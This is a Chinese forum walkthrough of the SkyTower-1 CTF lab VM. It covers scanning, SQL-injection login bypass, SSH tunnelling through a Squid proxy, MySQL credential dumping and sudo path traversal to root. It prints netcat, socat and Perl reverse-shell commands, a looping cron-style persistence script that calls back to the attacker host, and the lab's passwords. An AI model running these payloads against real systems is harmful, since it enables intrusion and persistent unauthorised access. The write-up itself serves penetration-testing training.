电脑疯子技术论坛|电脑极客社区

红队渗透项目之SkyTower-1

[复制链接]
98 0
简介

该项目是Telspace作者在ITWeb安全峰会和BSidesCPT(开普敦)上为CTF设计的项目环境,目标是获取获得root权限并找
到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管
是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该文章,都能学习到一些红队知识。

该项目有始有终会用到信息收集->各类服务端口信息枚举->Mysql信息枚举->sudo提权,最终拿到flag.txt的过程
那么在四大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的
我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用
于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

1、nmap扫描存活IP

由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:

QQ截图20220519114351.png

本机IP为:192.168.40.138

发现本kali ip为40段!用40段进行全网段扫描:

nmap -sP 192.168.40.0/24

100.png

发现项目IP:192.168.40.158

2、nmap全端口服务枚举

进行namp全端口服务枚举:

nmap -sS -sV -A -T5 192.168.40.158

99.png

得到开放的端口信息:

22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
3128/tcp open     http-proxy Squid http proxy 3.1.20

开启了三个端口:

1. 22端口显示filtered说明还被过滤了;
2. 3128 squid-http 是代理端口,可以去做端口转发开启ssh;
3. 开放80端口的web应用,看看能否拿到webshell

二、Web信息探测

1、Web页面枚举

访问80端口:

http://192.168.40.158/

98.png

发现登录页面,可能存在sql注入,暴力破解,cms框架漏洞,插件漏洞等情况!

2、sql注入绕过验证

Burp Intruder作为Burp Suite中一款功能极其强大的自动化测试工具,通常被系统安全渗透测试人员被使用在各种任务测
试的场景中。在渗透测试过程中,我们经常使用Burp Intruder,它的工作原理是:Intruder在原始请求数据的基础上通过
修改各种请求参数,以获取不同的请求应答。每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在
不同的位置进行攻击重放,通过应答数据的比对分析来获得需要的特征数据。Burp Intruder通常被使用在以下场景:

利用burpsuite抓包拦截发送到->intruder进行sql注入爆破:

96.png

为了确保选择email和password字段,攻击类型设置:pitchfork:

33.png

playload设置,利用下列源码:

https://github.com/melbinkm/SQL-Injection-Payloads/blob/master/sqli_auth.list

20.png

复制至kali,生成1.txt:

gedit 1.txt

19.png

payloads1和2导入1.txt的文本,并单击Start Attack!

18.png

16.png

攻击完成时,各选择不同长度的进行测试,查看能否利用绕过:

15.png

经测试,含有1838的内容都是成功回显。

**注意:**该处要判断成功情况,可以从Length和Status进行回显判断!

复制该请求,将数据包放Repeater发送:

13.png

获得账号密码:

Username: john

Password: hereisjohn

三、proxychains代理squid

ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道
支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。 ProxyChains通过一个用户定义的代
理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。

接下来除了介绍ProxyChains还会介绍另外一种技巧去设置代理!

1、ssh测试

尝试使用账户密码登录ssh:

ssh john@192.168.40.158   
Username: john
Password: hereisjohn

12.png

发现无法直接连接22端口,在端口扫描的时候有提示22端口过滤了,有3128代理端口,那就尝试代理转发

2、代理转发

在proxychains添加http代理端口:

vi /etc/proxychains4.conf

http 192.168.40.158 3128

11.png

使用proxychains进行代理登录ssh:

proxychains ssh john@192.168.40.158

10.png

显示了登录成功,但是自动断开了,提示:

Funds have been withdrawn

四、proxytunnel隧道代理

proxytunnel是一款利用http connection封装技术建立隧道的工具,kali默认安装,使用条件:防火墙禁
止DNS和ICMP隧道,只允许代理服务器上网的情景,可以理解为端口转发技术,将本地端口和项目sqi端
口进行连接隧道转发进行!

将kali与项目的3128端口建立隧道,隧道建立的端口转发到项目本地的22端口,然后在映射到kali本地1234端口:

proxytunnel -p 192.168.40.158:3128 -d 127.0.0.1:22 -a 1234  
-a 指定本地侦听端口
-p 使用代理
-r 使用第二个代理
-d 指定访问的目标和端口
ssh john@127.0.0.1 -p 1234

9.png

成功登陆,同样自动断开了。

五、SSH配合bashrc反弹shell

1、SSH命令执行

ssh远程执行命令可以用-t配合输入命令!

既然能登录,就尝试执行查看目录命令:

proxychains ssh -t john@192.168.40.158 ls -la

8.png

可以正常执行命令,看到有bashrc文件,猜想登录上去被踢出来的原因在这里,先看看其内容。

2、bashrc利用

.bashrc是home目录下的一个shell文件,用于储存用户的个性化设置。在bash每次启动时都会加载.bashrc文
件中的内容,并根据内容定制当前bash的配置和环境,每次启动bashshell时,.bashrc脚本都会自动运行。
查看下.bashrc文件内容:

proxychains ssh -t john@192.168.40.158 cat .bashrc

7.png

6.png

红框内的信息分析:i 选项是关闭的和exit,这里面的命令导致结束shell!
这里有两种方法操作:

1. 删除.bashrc或将.bashrc改名,即可远程登录上去

2. 删除内容.bashrc或者替换其内容信息,可以通过nc直接反弹shell来完成

3、命令执行反弹shell

查看项目有无装python和nc:

proxychains ssh john@192.168.40.158 -t "which python"  

proxychains ssh john@192.168.40.158 -t "which nc"  

5.png

发现靶机装了nc!

接下来将bashrc文件改名登录:

proxytunnel -p 192.168.40.158:3128 -d 127.0.0.1:22 -a 1234
ssh john@127.0.0.1 -p 1234 mv .bashrc .bashrc.bak   
ssh john@127.0.0.1 -p 1234
hereisjohn

4.png

这里有两种形式,一种是反弹shell利用nc获得,这里用了第二种方法进行,前面查看bashrc发现阻碍我们登录
ssh的是bashrc内的配置信息,将该文件改名去掉,把么执行ssh的时候就找不到bashrc,就无法运行bashrc了
这时候就正常登录使用稳定shell了!

六、mysql信息枚举

1、sudo信息枚举

查看sudo能否提权:

sudo -l

3.png

发现不行,看下根目录的信息。

2、根目录信息枚举

查看网站根目录的底层文件login.php:

cd /var/www/
ls
cat login.php

2.png

发现mysql用户密码:

root/root

这里往下查看源码配置信息,发现这是阻碍前面SQL注入的规则:

$sqlinjection = array("SELECT", "TRUE", "FALSE", "--","OR", "=", ",", "AND", "NOT");

这是sql语句的限制!

3、mysql信息枚举

mysql渗透信息枚举的步骤:查库->查表->查字段->查内容

1)登录数据库,库信息枚举:

mysql -uroot -proot

show databases;

1.png

进入SkyTech数据库查看。

2)表信息枚举

use SkyTech;         #登录SkyTech数据库
show tables;          #查看表
select * from login;  #查找login

0.png

存在三个账号密码信息!

|  1 |john@skytech.com    | hereisjohn   |
|  2 | sara@skytech.com    | ihatethisjob |
|  3 | william@skytech.com | senseable

3)尝试Sara登录

ssh sara@127.0.0.1 -p 1234 mv .bashrc .bashrc.bak   
ssh sara@127.0.0.1 -p 1234
ihatethisjob

QQ截图20220519142952.png

通过mysql信息枚举到用户名密码信息,尝试成功登录!

七、提权

1、sudo提权

查看sudo能否提权:

sudo -l

59.png

User sara may run the following commands on this host:

    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

可以看到,sara用户允许使用sudo命令cat或ls /accounts目录下的任何文件。

2、获取flag

查看accounts目录root信息:

sudo ls /accounts/../root

sudo cat /accounts/../root/flag.txt

58.png


Congratz, have a cold one to celebrate!
root password is theskytower
获得root的密码:theskytower

3、获得root权限

ssh root@127.0.0.1 -p 1234

theskytower

56.png

成功登录,获得root权限!

八、知识拓展技巧

1、建立稳定tty shell

本地kali开启nc,将项目流量转发至本地:

nc -vlp 5566

ssh john@127.0.0.1 -p 1234 nc 192.168.40.138 5566 -e /bin/bash

29.png

Socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat是一个两
个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)插座
Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。

Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间
通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守
护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。

socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6
pipe,exec,system,open,proxy,openssl,socket等。

接下来利用socat进行建立稳定shell!

本地开启http服务,上传socat文件:

python -m SimpleHTTPServer 8081
wget http://192.168.40.138:8081/socat
ls -la

28.png

上传成功!

socat赋权:

chmod +x socat   赋权

26.png

赋权成功!

本地开启9999端口服务,利用socat反弹稳定shell:

nc -vlp 9999
HOME=/dev/shm ./socat tcp:192.168.40.138:9999 exec:'/bin/bash -li',pty,st
derr,sigint,sighup,sigquit,sane

22.png

反弹成功!

使用script补齐命令:

script -qc bash /dev/null
sudo -l

21.png

成功交互tty,并回显无法运行sudo

2、bashrc文件内容替换删除

1)sed替换

用sed将bashrc文件中的exit全部替换为echo:

ssh john@127.0.0.1 -p 1234 -t "sed -i 's/exit/echo/g' .bashrc"

-i  直接修改文件

hereisjohn

20.png

2)head 删除

用head 将bashrc文件中的最后三行信息删除:

ssh john@127.0.0.1 -p 1234 -t "head -n -3 .bashrc > .bashrc"
-n -3 删除最后三行文件
hereisjohn

19.png

成功登录!

3、计划任务反弹shell

避免代理被对方关闭,可建立计划任务的shell

1)编写sh脚本,反弹至kali的7777端口:

#!/bin/sh
while true; do
    perl -e 'use Socket;$i="192.168.40.138";$p=7777;socket(S,PF_INET,SOCK_STREAM,getp
rotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");ope
n(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done

18.png

因为shell是通过22端口代理进去的实战中防止万一情况发生,由于对方安装了perl所以
用该进行反弹!每五分钟会回弹一次!

2)开启http服务上传sh脚本:

python -m SimpleHTTPServer 8081

wget http://192.168.40.138:8081/1.sh

16.png

上传成功!

3)脚本赋权并执行:

chmod +x 1.sh
./1.sh

8.png

反弹成功!

九、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常
多的技巧例如nmap全端口信息枚举、sql注入、ssh proxytunnel代理转发和ProxyChains代理转发、Mysql信息枚举
SSH-sudo登录内核提权、tty建立方法、计划任务反弹shell、绕过bashrc文件方法等等,希望伙伴们能实际操作复
现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

8598

主题
精彩推荐
热门资讯
网友晒图
图文推荐
Pcgho! X3.4

© 2020 Comsenz Inc.